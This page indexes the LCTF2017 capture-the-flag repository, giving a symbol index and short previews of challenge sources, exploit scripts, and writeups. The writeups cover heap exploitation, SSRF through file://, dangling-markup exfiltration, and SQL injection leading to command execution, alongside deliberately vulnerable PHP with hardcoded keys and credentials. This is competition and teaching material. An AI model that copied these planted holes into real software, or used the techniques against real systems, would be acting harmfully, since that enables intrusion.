SYMBOL INDEX (63 symbols across 10 files)

FILE: src/crypto/py.trade1/challenge1.py
  function sign (line 21) | def sign(message, G, k, g, h, S):
  function check_token (line 38) | def check_token(token, name):
  function main (line 51) | def main():

FILE: src/crypto/py.trade2/challenge2.py
  function sign (line 21) | def sign(message, G, k, g, h, S):
  function check_token (line 38) | def check_token(token, name):
  function main (line 51) | def main():

FILE: src/misc/raspberry/docker/wetland/dist/exec_service.py
  function exec_service (line 3) | def exec_service(hacker_session, docker_session, cmd, output):

FILE: src/misc/raspberry/docker/wetland/dist/shell_service.py
  function shell_service (line 7) | def shell_service(hacker_session, docker_session, output):

FILE: src/pwn/2ez4u/2ez4u_exp.py
  function add (line 19) | def add(l, desc):
  function dele (line 34) | def dele(idx):
  function edit (line 41) | def edit(idx, desc):
  function show (line 56) | def show(idx):

FILE: src/pwn/shopping/shopping.c
  function get_str (line 24) | void get_str(char *buf, int size, char term) {
  function get_choice (line 45) | unsigned get_choice() {
  function get_char (line 51) | unsigned char get_char() {
  function check_cart (line 91) | int check_cart(void *item_t)
  type _item_a (line 107) | struct _item_a
  function print_item_a (line 119) | void print_item_a(struct _item_a *item_t)
  type _item_a (line 124) | struct _item_a
  function add_item_a (line 134) | void add_item_a()
  type _item_b (line 179) | struct _item_b
  function print_item_b (line 191) | void print_item_b(struct _item_b *item_t)
  type _item_b (line 196) | struct _item_b
  function add_item_b (line 205) | void add_item_b()
  type _item_c (line 250) | struct _item_c
  function print_item_c (line 261) | void print_item_c(struct _item_c *item_t)
  type _item_c (line 266) | struct _item_c
  function add_item_c (line 275) | void add_item_c()
  type _item_d (line 321) | struct _item_d
  function print_item_d (line 333) | void print_item_d(struct _item_d *item_t)
  type _item_d (line 338) | struct _item_d
  function add_item_d (line 346) | void add_item_d()
  type _item_e (line 394) | struct _item_e
  function print_item_e (line 405) | void print_item_e(struct _item_e *item_t)
  type _item_e (line 410) | struct _item_e
  function add_item_e (line 420) | void add_item_e()
  type _item_f (line 467) | struct _item_f
  function print_item_f (line 480) | void print_item_f(struct _item_f *item_t)
  type _item_f (line 485) | struct _item_f
  function isValidEmail (line 496) | int isValidEmail(char *pcEmailaddr)
  function add_item_f (line 519) | void add_item_f()
  function items_menu (line 573) | void items_menu()
  function have_a_look (line 587) | void have_a_look()
  function remove_an_item (line 625) | void remove_an_item()
  function show_my_cart (line 658) | void show_my_cart()
  function checkSum (line 673) | void checkSum(unsigned long long cardNum) {
  function validCardLength (line 732) | int validCardLength(unsigned long long cardNum, char* bank) {
  function have_the_bill (line 757) | void have_the_bill()
  function menu (line 768) | void menu() {
  function chall_main (line 779) | void chall_main() {
  function sigalrm_fn (line 811) | void sigalrm_fn(int sig)
  function initial (line 817) | void initial()
  function main (line 828) | int main(int argc, char* argv[])

FILE: src/web/simple-blog/src/config.php
  function get_random_id (line 4) | function get_random_id(){

FILE: src/web/simple-blog/src/login.php
  function show_page (line 7) | function show_page(){
  function get_random_token (line 29) | function get_random_token(){
  function get_identity (line 38) | function get_identity(){
  function test_identity (line 51) | function test_identity(){

FILE: src/web/simple-blog/src/web1.sql
  type `article` (line 25) | CREATE TABLE `article` (
  type `key` (line 49) | CREATE TABLE `key` (
  type `users` (line 71) | CREATE TABLE `users` (

FILE: src/web/萌萌哒的报名系统/images/login.js
  function logintab (line 27) | function logintab(){
  function getParam (line 39) | function getParam(pname) {
Condensed preview — 69 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (200K chars).
[
  {
    "path": "README.md",
    "chars": 3366,
    "preview": "# LCTF2017\n\nSource code, writeups and exps in LCTF2017.\n\n欢迎访问我们的主页[http://l-team.org](http://l-team.org),以便查看一篇汇总后的write"
  },
  {
    "path": "src/Android/Android-WP.md",
    "chars": 502,
    "preview": "#LCTF2017 Android Payme -最简单的题\n\n##env\n\t1. teamtoken,message,金额\n\t2. 每队初始金钱1k\n\n##思路\n\t1. 无加固,只有JNI_OnLoad函数里对APK签名做了验证,修改之后"
  },
  {
    "path": "src/crypto/py.trade1/challenge1",
    "chars": 2761,
    "preview": "from charm.toolbox.pairinggroup  import *\nfrom Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\nfrom urll"
  },
  {
    "path": "src/crypto/py.trade1/challenge1.py",
    "chars": 2769,
    "preview": "from charm.toolbox.pairinggroup  import *\nfrom Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\nfrom urll"
  },
  {
    "path": "src/crypto/py.trade1/crypto1.md",
    "chars": 4666,
    "preview": "# Py.trade\r\n\r\n##双线性对\r\n\r\n两道题目中没有用到双线性对其他复杂的性质与困难问题,只用到了最基本的一条性质:\r\n\r\n>e(g^a, h^b) == e(g, h)^(a*b)\r\n\r\n##Charm\r\n\r\n看到许多人卡在安装"
  },
  {
    "path": "src/crypto/py.trade2/challenge2",
    "chars": 2695,
    "preview": "from charm.toolbox.pairinggroup  import *\nfrom Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\nfrom urll"
  },
  {
    "path": "src/crypto/py.trade2/challenge2.py",
    "chars": 2704,
    "preview": "from charm.toolbox.pairinggroup  import *\nfrom Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\nfrom urll"
  },
  {
    "path": "src/crypto/py.trade2/py.trade2.md",
    "chars": 6868,
    "preview": "# py.trade2\n\n\n### 0X00. 题目原文\n\n```python\n#!/usr/bin/env python3\nfrom charm.toolbox.pairinggroup  import *\nfrom Crypto.Uti"
  },
  {
    "path": "src/misc/raspberry/README.md",
    "chars": 2382,
    "preview": "# 2017 LCTF misc 树莓派wp\n\n## 刚上线\n1. 题目介绍只给了个ip,有师傅当做web题,发现点不开。\n2. 扫了一波端口后,只有22开着,所以入口点肯定在这里。\n3. 根据题目的提示,按照正常的思维确实应该登录pi:r"
  },
  {
    "path": "src/misc/raspberry/docker/sshd/Dockerfile",
    "chars": 289,
    "preview": "From rastasheep/ubuntu-sshd\nCOPY dist /root/dist\n\nRUN useradd -s /bin/bash -m -u 555 pi && \\\n    echo \"pi:shumeipai\" | c"
  },
  {
    "path": "src/misc/raspberry/docker/sshd/dist/flag.txt",
    "chars": 23,
    "preview": "lctf{echoechoechoecho}\n"
  },
  {
    "path": "src/misc/raspberry/docker/wetland/Dockerfile",
    "chars": 930,
    "preview": "FROM ohmyadd/wetland\nCOPY dist /root/dist\n\nRUN adduser -D -u 500  wetland && \\\n    echo \"wetland:wetland\" | chpasswd && "
  },
  {
    "path": "src/misc/raspberry/docker/wetland/dist/exec_service.py",
    "chars": 1752,
    "preview": "import os\n\ndef exec_service(hacker_session, docker_session, cmd, output):\n\n    print 'cmd:', cmd\n    if cmd.startswith('"
  },
  {
    "path": "src/misc/raspberry/docker/wetland/dist/flag.txt",
    "chars": 35,
    "preview": "lctf{qingzhu0x16bigshenglizhaokai}\n"
  },
  {
    "path": "src/misc/raspberry/docker/wetland/dist/shell_service.py",
    "chars": 1864,
    "preview": "import os\nimport json\n\nwith open(os.path.join(os.path.dirname(__file__), 'visual.txt')) as txt:\n    visual = json.load(t"
  },
  {
    "path": "src/misc/拿去当壁纸吧朋友/writeup.md",
    "chars": 7158,
    "preview": "# 拿去当壁纸吧朋友\n\n平时隐写玩的多的师傅们看到论文能意识到这个是[busysteg](https://github.com/jaybosamiya/busysteg),不多说。真·签到题。\n\n可能有一些人在搭建openCV环境上面有一点"
  },
  {
    "path": "src/pwn/2ez4u/2ez4u_exp.py",
    "chars": 4138,
    "preview": "#!/usr/bin/env python2.7\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom pwn import *\nfrom ctypes im"
  },
  {
    "path": "src/pwn/2ez4u/2ez4u_writeup.md",
    "chars": 283,
    "preview": "## 2ez4u writeup\n\n1. 分配一个large chunk大小的块\n2. 自己在堆上事先伪造好一个largechunk的头\n3. 利用uaf来修改large chunk的bknextsize,让bknextsize指向这里(需"
  },
  {
    "path": "src/pwn/shopping/shopping.c",
    "chars": 20418,
    "preview": "#include<stdio.h>\n#include<stdlib.h>\n#include<unistd.h>\n#include<string.h>\n#include<fcntl.h>\n#include <signal.h>\n\n/*\nBoo"
  },
  {
    "path": "src/pwn/shopping/shopping.md",
    "chars": 107,
    "preview": "# shopping\n\n编译:\n\n```shell\n$ ./clang -O1 shopping.c -mllvm -sub -mllvm -bcf -mllvm -fla -w -o shopping\n```\n\n"
  },
  {
    "path": "src/pwn/toy/toy_exp.py",
    "chars": 3347,
    "preview": "#!/usr/bin/env python2.7\n# -*- coding: utf-8 -*-\n\nfrom pwn import *\nfrom struct import pack\n\n\ncontext.terminal = ['tmux'"
  },
  {
    "path": "src/pwn/toy/toy_writeup.md",
    "chars": 323,
    "preview": "## toy writeup\n\n### 漏洞\n\n程序修改自https://github.com/skx/simple.vm\n\n在peek和poke处修改了一下,把检查地址是否越界的部分给改了\n\n### 利用\n\n利用方法可能有很多,下面是我写"
  },
  {
    "path": "src/pwn/完美冻结/exp.py",
    "chars": 706,
    "preview": "#!/usr/bin/env python2\n\nfrom pwn import *\n\ncontext.terminal = ['gnome-terminal', '-x', 'sh', '-c']\n\n#p = process('./easy"
  },
  {
    "path": "src/pwn/完美冻结/完美冻结.md",
    "chars": 1176,
    "preview": "# 完美冻结\n\n漏洞很简单。\n\n程序用mmap生成了两块0x1000内存快,实现了一套奇怪的存储装置:一个用来做buff,一个用来存数据。\n\n做buff的堆块在重新设置大小(`bmap_set`)时,使用的是`unsigned short`"
  },
  {
    "path": "src/re/BeRealDriver/writeup.md",
    "chars": 854,
    "preview": "# BeRealDriver\n\n本题有一个指向Wikipedia LDW页面的Hint,是因为题目设计之初是想模仿现代汽车上常用的LDW系统。题目文件中含有两张图片,分别对应着LDW输入的地图,和驾驶员采取的驾驶路径。程序中的LDW首先判断"
  },
  {
    "path": "src/re/NuclearBomb/writeup.md",
    "chars": 659,
    "preview": "# NuclearBomb\n\n首先向各位道歉……本题出现了一些问题。赛后Atum指出,在CUDA函数内的数据同步存在问题,移位操作是在S盒置换操作之后发生的,因此会导致数据不一致,影响解题结果。虽然后续分析后发现这一点可能(至少在出题人机器"
  },
  {
    "path": "src/re/YublKey/writeup.md",
    "chars": 651,
    "preview": "# YublKey\n\n本题是临时起意想到的。GH60是一款开源键盘,大多数情况下其使用的固件是`tmk_keyboard`。本题设计是,在烧入此固件后按下特定按钮,即通过`print`函数输出flag,这个输出操作是通过使用固件自带的钩子点"
  },
  {
    "path": "src/re/use your IDA/decrypt.py",
    "chars": 4319,
    "preview": "#\t-*- coding:utf-8\t-*-\n\nimport re\nimport ctypes\n\nflag_pattern =  \"\\[ebx\\+([\\s\\S]+)\\]\"\noperation_pattern = \"eax,\\ ([\\s\\S]"
  },
  {
    "path": "src/re/use your IDA/use your IDA.md",
    "chars": 5009,
    "preview": "# use your IDA\n\n额...QAQ ...这题出了个小差错...给各位大师傅 带来的不便还请谅解, 借鉴了下看雪的溢\n出思路, 其他的思路是我自己设计用汇编写的, 某几位大师傅还请口下留德。 在处理 flag\n的时候的的循环少写"
  },
  {
    "path": "src/re/滑稽博士/滑稽博士.md",
    "chars": 240,
    "preview": "# 滑稽博士\n\n纯粹的游戏。\n\n当初的设计思路是进行游戏作弊的时间消耗要比完整逆向出flag的长,也就是诱导各位写游戏外挂。\n\n但是出题人自己的代码力不是很足,最后程序结构写崩了...\n\n无奈只好改动成一般的一个程序。\n\n使用C++编写,里"
  },
  {
    "path": "src/web/l-plarground/writeup.md",
    "chars": 10840,
    "preview": "# ssrf_writeup\n\n## 0x00.前期准备\n\n### 1.环境介绍\n\n服务器外网只开启22、80端口,防火墙内开了6379、8000端口。22端口是服务器的ssh端口,80端口是nginx,为了提高服务可用性和日志记录。内网8"
  },
  {
    "path": "src/web/simple-blog/src/README.md",
    "chars": 5772,
    "preview": "### 题目文件说明\n```\nweb1.sql         //题目的数据库配置,导入完一定要删掉\nconfig.php       //题目配置文件\nindex.php        //题目入口\nlogin.php        /"
  },
  {
    "path": "src/web/simple-blog/src/admin.php",
    "chars": 1553,
    "preview": "<?php\nerror_reporting(0);\nsession_start();\ninclude('config.php');\n\nif(!$_SESSION['isadmin']){\n\tdie('You are not admin');"
  },
  {
    "path": "src/web/simple-blog/src/config.php",
    "chars": 550,
    "preview": "<?php\ndefine(\"SECRET_KEY\", \"2d3d16890f5d0a2411f729797c85c106\"); \n\nfunction get_random_id(){\n    $random_id = '';\n    $st"
  },
  {
    "path": "src/web/simple-blog/src/css/login.css",
    "chars": 5785,
    "preview": "/* NOTE: The styles were added inline because Prefixfree needs access to your styles and they must be inlined if they ar"
  },
  {
    "path": "src/web/simple-blog/src/index.php",
    "chars": 1438,
    "preview": "<!DOCTYPE html>\n<html>\n<head>\n   <meta charset=\"utf-8\"> \n   <title>My blog</title>\n   <link href=\"css/bootstrap.min.css\""
  },
  {
    "path": "src/web/simple-blog/src/login.php",
    "chars": 2230,
    "preview": "<?php\nerror_reporting(0);\nsession_start();\ndefine(\"METHOD\", \"aes-128-cbc\");\ninclude('config.php');\n\nfunction show_page()"
  },
  {
    "path": "src/web/simple-blog/src/web1.sql",
    "chars": 3213,
    "preview": "-- MySQL dump 10.13  Distrib 5.5.53, for Win32 (AMD64)\n--\n-- Host: localhost    Database: web1\n-- ----------------------"
  },
  {
    "path": "src/web/simple-blog/web-f1sh-writeup.md",
    "chars": 5509,
    "preview": "### WriteUp\n\n进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在`login.php, admin.php`两个文件,访问`admin.php`可以发现有权限控制,访问`login.php`"
  },
  {
    "path": "src/web/wanna-hack-him/src/admin_view.php",
    "chars": 480,
    "preview": "<?php\nerror_reporting(0);\nsession_start();\nif(!$_COOKIE['yesiamadmin001'])\n{\n\texit('access denied');\n}\nif(!$_SESSION['no"
  },
  {
    "path": "src/web/wanna-hack-him/src/index.php",
    "chars": 366,
    "preview": "<center>\n<title>hello hacker hack him</title>\n<form id=\"form1\" action=\"preview.php\" method=\"post\" class=\"\">\n<h1>wanna ha"
  },
  {
    "path": "src/web/wanna-hack-him/src/loghehehaha.txt",
    "chars": 4,
    "preview": "test"
  },
  {
    "path": "src/web/wanna-hack-him/src/preview.php",
    "chars": 431,
    "preview": "<?php\nerror_reporting(0);\nsession_start();\nheader(\"X-XSS-Protection:0\");\nif(!$_SESSION['nonce'])\n{\n\t$_SESSION['nonce']=m"
  },
  {
    "path": "src/web/wanna-hack-him/src/submit.php",
    "chars": 120,
    "preview": "<?php\nerror_reporting(0);\nfile_put_contents('loghehehaha.txt',$_POST['content']);\necho 'submit success :) good luck';\n?>"
  },
  {
    "path": "src/web/wanna-hack-him/wanna hack him-WP.md",
    "chars": 726,
    "preview": "## wanna hack him?\n\n这题有两种解法。\n\n### 解法一\n\n利用`dangling markup attack`。传入一个未闭合的标签,来把后面内容通过请求直接发出去,因为bot的版本是Chrome60所以可以直接用一个比"
  },
  {
    "path": "src/web/他们有什么秘密呢/他们有什么秘密呢_ writeup.md",
    "chars": 1594,
    "preview": "## 他们有什么秘密呢? writeup\n\n题目由两部分组成,第一部分是一个sqli,第二部分是一个文件上传+命令执行\n\n### 第一部分\n\n第一个入口\n\nhttp://182.254.246.93/entrance.php\n\nid=3时,"
  },
  {
    "path": "src/web/签到题/src/test.php",
    "chars": 744,
    "preview": "<?php \nif(!$_GET['site']){ \n\techo <<<EOF \n<html> \n<body> \nlook source code: \n<form action='' method='GET'> \n<input type="
  },
  {
    "path": "src/web/签到题/web签到题.md",
    "chars": 964,
    "preview": "# web签到题\n\n题目不难, 一共就只有几个点\n\n- 用file协议读取本地文件\n- 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会"
  },
  {
    "path": "src/web/萌萌哒的报名系统/.idea/modules.xml",
    "chars": 260,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectModuleManager\">\n    <modules>\n   "
  },
  {
    "path": "src/web/萌萌哒的报名系统/.idea/test.iml",
    "chars": 281,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module type=\"WEB_MODULE\" version=\"4\">\n  <component name=\"NewModuleRootManager\">\n"
  },
  {
    "path": "src/web/萌萌哒的报名系统/.idea/workspace.xml",
    "chars": 15337,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ChangeListManager\">\n    <list default=\"t"
  },
  {
    "path": "src/web/萌萌哒的报名系统/README.md",
    "chars": 4807,
    "preview": "#wp\n这题提示给了IDE,那么我们可以想到PHP有款强大的IDE叫做PHPSTORM,他新建项目的时候会生成一个.idea文件夹,访问发现有一个`workspace.xml`文件,访问里面发现了一个`xdcms2333.zip`。\n下载可"
  },
  {
    "path": "src/web/萌萌哒的报名系统/config.php",
    "chars": 92,
    "preview": "<?php\n$user = \"root\";\n$pass = \"root\";\n$flag2333 = \"lctf{pr3_maTch_1s_A_amaz1ng_Function}\"\n?>"
  },
  {
    "path": "src/web/萌萌哒的报名系统/css/login2.css",
    "chars": 4815,
    "preview": "html {\n\t\n}\nbody {\n\tfont-family:\"Microsoft Yahei\";\n\tfont-size:12px;\n\tmargin:0;\nbackground: #fff url(../images/1.jpg) 50% "
  },
  {
    "path": "src/web/萌萌哒的报名系统/images/login.js",
    "chars": 3421,
    "preview": "$(function(){\n\t\n\t$('#switch_qlogin').click(function(){\n\t\t$('#switch_login').removeClass(\"switch_btn_focus\").addClass('sw"
  },
  {
    "path": "src/web/萌萌哒的报名系统/index.html",
    "chars": 4225,
    "preview": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\""
  },
  {
    "path": "src/web/萌萌哒的报名系统/login.php",
    "chars": 918,
    "preview": "<?php\n\tsession_start();\n\tinclude('config.php');\n\ttry{\n\t\t$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass"
  },
  {
    "path": "src/web/萌萌哒的报名系统/member.php",
    "chars": 1380,
    "preview": "<?php\n\terror_reporting(0);\n\tsession_start();\n\tinclude('config.php');\n\tif (isset($_SESSION['username']) === false) {\n    "
  },
  {
    "path": "src/web/萌萌哒的报名系统/register.php",
    "chars": 1651,
    "preview": "<?php\n\tinclude('config.php');\n\ttry{\n\t\t$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);\n\t}catch (Except"
  },
  {
    "path": "出题人感言.md",
    "chars": 1158,
    "preview": "# 出题人感言\n\n## RE出题人 - Silver\n\n又一年LCTF结束了,不知道大家是否开心。连续出了三年逆向题,每年都犯小错误,某种意义上也算是不容易了。\n\n今年的三道题,一道(Driver)是早有预谋但码力不足,只好将题目的核心逻辑"
  }
]

// ... and 9 more files (download for full content)

About this extraction

This page contains the full source code of the LCTF/LCTF2017 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 69 files (159.8 KB), approximately 59.2k tokens, and a symbol index with 63 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!